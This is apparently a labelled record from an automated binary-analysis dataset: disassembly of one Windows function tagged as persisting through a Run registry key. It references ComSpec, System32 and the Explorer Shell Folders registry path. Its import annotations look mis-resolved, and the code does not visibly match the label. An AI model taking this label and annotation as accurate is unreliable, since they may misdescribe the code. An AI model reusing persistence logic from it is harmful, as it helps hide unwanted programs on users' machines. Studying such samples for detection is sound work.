Function at 0x436af2
Capabilities:
Persist via run registry key

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2c
push 8
call fcn.004bd68c
add esp, 4
mov dword [ebp - 4], eax
mov edi, eax
mov esi, 0x7cb772
lodsd eax, dword [esi]
stosd dword es:[edi], eax
lodsd eax, dword [esi]
stosd dword es:[edi], eax
mov eax, 0x7cd279
push eax
mov ebx, eax
call fcn.004031a6
pop eax
sub ebx, eax
push ecx
push ebx
push eax
shl ecx, 2
add ecx, ebx
push ecx
call fcn.004bd68c
add esp, 4
pop esi
mov edi, eax
pop ecx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
pop ecx
test ecx, ecx
je 0x436b73
push eax
lodsd eax, dword [esi]
push esi
push edi
push ecx
test eax, eax
je 0x436b67
push eax
mov ebx, eax
call fcn.0040134a
inc eax
push eax
call fcn.004bd68c
pop ecx
pop esi
mov edi, eax
rep movsb byte es:[edi], byte [esi]
pop ecx
pop edi
pop esi
stosd dword es:[edi], eax
dec ecx
jne 0x436b4a
pop eax
push eax
mov ebx, dword [ebp - 4]
push ebx
mov ecx, dword [ebx]
add ebx, 4
test ecx, ecx
je 0x436b92
mov eax, dword [ebx]
add ebx, 4
dec ecx
je 0x436b8e
imul eax, dword [ebx]
jmp 0x436b83
mov ecx, eax
test ecx, ecx
je 0x436bb1
push ecx
mov eax, dword [ebx]
test eax, eax
je 0x436baa
push ebx
push eax
call fcn.004bd692
add esp, 4
pop ebx
add ebx, 4
pop ecx
dec ecx
jne 0x436b98
call fcn.004bd692
add esp, 4
pop eax
mov dword [ebp - 4], eax
mov ebx, dword [ebp - 4]
call fcn.004031a6
push ebx
push ecx
mov eax, dword [ebp + 8]
dec eax
jns 0x436be4
push 0x311
push 0x401aeb7
push 4
call fcn.004bd698
add esp, 0xc
pop ecx
pop ebx
cmp eax, ecx
jl 0x436c01
push 0x311
push 0x401aeb7
push 1
call fcn.004bd698
add esp, 0xc
shl eax, 2
add ebx, eax
mov dword [ebp - 8], ebx
push reloc.WS2_32.dll_connect
push 0
mov ebx, dword [ebp - 8]
mov eax, dword [ebx]
test eax, eax
jne 0x436c1e
mov eax, 0x7b0047
push eax
push 1
mov ebx, TerminateProcess
call reloc.kernel32.dll_MapViewOfFile
add esp, 0x10
mov dword [ebp - 0xc], eax
push 0x7cd26c
push dword [ebp - 0xc]
call fcn.00402dd5
add esp, 8
cmp eax, 0
mov eax, 0
sete al
mov dword [ebp - 0x10], eax
mov ebx, dword [ebp - 0xc]
test ebx, ebx
je 0x436c62
push ebx
call fcn.004bd692
add esp, 4
cmp dword [ebp - 0x10], 0
je 0x436c89
push 0
mov ebx, 0x4bdd70
call reloc.kernel32.dll_MapViewOfFile
add esp, 4
mov dword [ebp - 8], eax
mov eax, dword [ebp - 8]
jmp 0x437233
mov ebx, dword [ebp - 4]
call fcn.004031a6
push ebx
push ecx
mov eax, dword [ebp + 8]
dec eax
jns 0x436cb0
push 0x392
push 0x401aeb7
push 4
call fcn.004bd698
add esp, 0xc
pop ecx
pop ebx
cmp eax, ecx
jl 0x436ccd
push 0x392
push 0x401aeb7
push 1
call fcn.004bd698
add esp, 0xc
shl eax, 2
add ebx, eax
mov dword [ebp - 8], ebx
push reloc.WS2_32.dll_connect
push 0
mov ebx, dword [ebp - 8]
mov eax, dword [ebx]
test eax, eax
jne 0x436cea
mov eax, 0x7b0047
push eax
push 1
mov ebx, TerminateProcess
call reloc.kernel32.dll_MapViewOfFile
add esp, 0x10
mov dword [ebp - 0xc], eax
push reloc.WS2_32.dll_connect
push 0
push str.System32
push 1
mov ebx, TerminateProcess
call reloc.kernel32.dll_MapViewOfFile
add esp, 0x10
mov dword [ebp - 0x10], eax
mov eax, dword [ebp - 0x10]
push eax
push dword [ebp - 0xc]
call fcn.00402dd5
add esp, 8
cmp eax, 0
mov eax, 0
sete al
mov dword [ebp - 0x14], eax
mov ebx, dword [ebp - 0xc]
test ebx, ebx
je 0x436d4e
push ebx
call fcn.004bd692
add esp, 4
mov ebx, dword [ebp - 0x10]
test ebx, ebx
je 0x436d5e
push ebx
call fcn.004bd692
add esp, 4
cmp dword [ebp - 0x14], 0
je 0x436e64
push reloc.WS2_32.dll_connect
push 0
push str.ComSpec
push 1
mov ebx, 0x4be1b0
call reloc.kernel32.dll_MapViewOfFile
add esp, 0x10
mov dword [ebp - 8], eax
push reloc.WS2_32.dll_connect
push 0
push str.ComSpec
push 1
mov ebx, 0x4be1b0
call reloc.kernel32.dll_MapViewOfFile
add esp, 0x10
mov dword [ebp - 0xc], eax
push reloc.OLEAUT32.dll_SysReAllocString
push 0
push 0
push 0
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push 0x7cbe87
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0xc]
test eax, eax
jne 0x436ddb
mov eax, 0x7b0047
push eax
push 4
mov ebx, 0x4be560
call reloc.kernel32.dll_MapViewOfFile
add esp, 0x34
mov dword [ebp - 0x10], eax
mov ebx, dword [ebp - 0xc]
test ebx, ebx
je 0x436e01
push ebx
call fcn.004bd692
add esp, 4
fild dword [ebp - 0x10]
fstp qword [ebp - 0x18]
fld qword [ebp - 0x18]
fsub qword [0x7cb8bd]
fstp qword [ebp - 0x20]
fld qword [ebp - 0x20]
call fcn.004014a9
push 0x80000301
push 0
push eax
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 8]
test eax, eax
jne 0x436e36
mov eax, 0x7b0047
push eax
push 2
mov ebx, reloc.KERNEL32.dll_FindFirstFileA
call reloc.kernel32.dll_MapViewOfFile
add esp, 0x1c
mov dword [ebp - 0x24], eax
mov ebx, dword [ebp - 8]
test ebx, ebx
je 0x436e5c
push ebx
call fcn.004bd692
add esp, 4
mov eax, dword [ebp - 0x24]
jmp 0x437233
mov ebx, dword [ebp - 4]
call fcn.004031a6
push ebx
push ecx
mov eax, dword [ebp + 8]
dec eax
jns 0x436e8b
push 0x4ae
push 0x401aeb7
push 4
call fcn.004bd698
add esp, 0xc
pop ecx
pop ebx
cmp eax, ecx
jl 0x436ea8
push 0x4ae
push 0x401aeb7
push 1
call fcn.004bd698
add esp, 0xc
shl eax, 2
add ebx, eax
mov dword [ebp - 8], ebx
push reloc.WS2_32.dll_connect
push 0
mov ebx, dword [ebp - 8]
mov eax, dword [ebx]
test eax, eax
jne 0x436ec5
mov eax, 0x7b0047
push eax
push 1
mov ebx, TerminateProcess
call reloc.kernel32.dll_MapViewOfFile
add esp, 0x10
mov dword [ebp - 0xc], eax
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0xc]
test eax, eax
jne 0x436eee
mov eax, 0x7b0047
push eax
push 1
mov ebx, 0x4be1b0
call reloc.kernel32.dll_MapViewOfFile
add esp, 0x10
mov dword [ebp - 0x10], eax
mov ebx, dword [ebp - 0xc]
test ebx, ebx
je 0x436f14
push ebx
call fcn.004bd692
add esp, 4
push 0x7b0047
push dword [ebp - 0x10]
call fcn.00402dd5
add esp, 8
cmp eax, 0
mov eax, 0
setne al
mov dword [ebp - 0x14], eax
mov ebx, dword [ebp - 0x10]
test ebx, ebx
je 0x436f42
push ebx
call fcn.004bd692
add esp, 4
cmp dword [ebp - 0x14], 0
je 0x437004
mov ebx, dword [ebp - 4]
call fcn.004031a6
push ebx
push ecx
mov eax, dword [ebp + 8]
dec eax
jns 0x436f73
push 0x4fc
push 0x401aeb7
push 4
call fcn.004bd698
add esp, 0xc
pop ecx
pop ebx
cmp eax, ecx
jl 0x436f90
push 0x4fc
push 0x401aeb7
push 1
call fcn.004bd698
add esp, 0xc
shl eax, 2
add ebx, eax
mov dword [ebp - 8], ebx
push reloc.WS2_32.dll_connect
push 0
mov ebx, dword [ebp - 8]
mov eax, dword [ebx]
test eax, eax
jne 0x436fad
mov eax, 0x7b0047
push eax
push 1
mov ebx, TerminateProcess
call reloc.kernel32.dll_MapViewOfFile
add esp, 0x10
mov dword [ebp - 0xc], eax
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0xc]
test eax, eax
jne 0x436fd6
mov eax, 0x7b0047
push eax
push 1
mov ebx, 0x4be1b0
call reloc.kernel32.dll_MapViewOfFile
add esp, 0x10
mov dword [ebp - 0x10], eax
mov ebx, dword [ebp - 0xc]
test ebx, ebx
je 0x436ffc
push ebx
call fcn.004bd692
add esp, 4
mov eax, dword [ebp - 0x10]
jmp 0x437233
mov ebx, dword [ebp - 4]
call fcn.004031a6
push ebx
push ecx
mov eax, dword [ebp + 8]
dec eax
jns 0x43702b
push 0x58d
push 0x401aeb7
push 4
call fcn.004bd698
add esp, 0xc
pop ecx
pop ebx
cmp eax, ecx
jl 0x437048
push 0x58d
push 0x401aeb7
push 1
call fcn.004bd698
add esp, 0xc
shl eax, 2
add ebx, eax
mov dword [ebp - 8], ebx
push reloc.WS2_32.dll_connect
push 0
mov ebx, dword [ebp - 8]
mov eax, dword [ebx]
test eax, eax
jne 0x437065
mov eax, 0x7b0047
push eax
push 1
mov ebx, TerminateProcess
call reloc.kernel32.dll_MapViewOfFile
add esp, 0x10
mov dword [ebp - 0xc], eax
push 0x80000301
push 0
push 6
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0xc]
test eax, eax
jne 0x43709a
mov eax, 0x7b0047
push eax
push 2
mov ebx, reloc.KERNEL32.dll_FindFirstFileA
call reloc.kernel32.dll_MapViewOfFile
add esp, 0x1c
mov dword [ebp - 0x10], eax
mov ebx, dword [ebp - 0xc]
test ebx, ebx
je 0x4370c0
push ebx
call fcn.004bd692
add esp, 4
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x10]
test eax, eax
jne 0x4370d3
mov eax, 0x7b0047
push eax
push 1
mov ebx, TerminateProcess
call reloc.kernel32.dll_MapViewOfFile
add esp, 0x10
mov dword [ebp - 0x14], eax
mov ebx, dword [ebp - 0x10]
test ebx, ebx
je 0x4370f9
push ebx
call fcn.004bd692
add esp, 4
push str.common
push dword [ebp - 0x14]
call fcn.00402dd5
add esp, 8
cmp eax, 0
mov eax, 0
sete al
mov dword [ebp - 0x18], eax
mov ebx, dword [ebp - 0x14]
test ebx, ebx
je 0x437127
push ebx
call fcn.004bd692
add esp, 4
cmp dword [ebp - 0x18], 0
je 0x43713b
mov eax, 4
jmp 0x437140
mov eax, 3
mov dword [ebp - 0x1c], eax
mov ebx, dword [ebp - 4]
call fcn.004031a6
push ebx
push ecx
mov eax, dword [ebp + 8]
dec eax
jns 0x43716a
push 0x62a
push 0x401aeb7
push 4
call fcn.004bd698
add esp, 0xc
pop ecx
pop ebx
cmp eax, ecx
jl 0x437187
push 0x62a
push 0x401aeb7
push 1
call fcn.004bd698
add esp, 0xc
shl eax, 2
add ebx, eax
mov dword [ebp - 0x20], ebx
push reloc.WS2_32.dll_connect
push 0
mov ebx, dword [ebp - 0x20]
mov eax, dword [ebx]
test eax, eax
jne 0x4371a4
mov eax, 0x7b0047
push eax
push 1
mov ebx, TerminateProcess
call reloc.kernel32.dll_MapViewOfFile
add esp, 0x10
mov dword [ebp - 0x24], eax
push dword [ebp - 0x24]
push str.SoftwareMicrosoftWindowsCurrentVersionExplorerShell_Folders_
mov ecx, 2
call fcn.00402bbb
add esp, 8
mov dword [ebp - 0x28], eax
mov ebx, dword [ebp - 0x24]
test ebx, ebx
je 0x4371e2
push ebx
call fcn.004bd692
add esp, 4
push 0
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x28]
test eax, eax
jne 0x4371fb
mov eax, 0x7b0047
push eax
push 0x80000301
push 0
push dword [ebp - 0x1c]
push 3
mov ebx, 0x4c0d30
call reloc.kernel32.dll_MapViewOfFile
add esp, 0x28
mov dword [ebp - 0x2c], eax
mov ebx, dword [ebp - 0x28]
test ebx, ebx
je 0x43722b
push ebx
call fcn.004bd692
add esp, 4
mov eax, dword [ebp - 0x2c]
jmp 0x437233
push eax
mov ebx, dword [ebp - 4]
push ebx
mov ecx, dword [ebx]
add ebx, 4
test ecx, ecx
je 0x437252
mov eax, dword [ebx]
add ebx, 4
dec ecx
je 0x43724e
imul eax, dword [ebx]
jmp 0x437243
mov ecx, eax
test ecx, ecx
je 0x437271
push ecx
mov eax, dword [ebx]
test eax, eax
je 0x43726a
push ebx
push eax
call fcn.004bd692
add esp, 4
pop ebx
add ebx, 4
pop ecx
dec ecx
jne 0x437258
call fcn.004bd692
add esp, 4
pop eax
mov esp, ebp
pop ebp
ret 8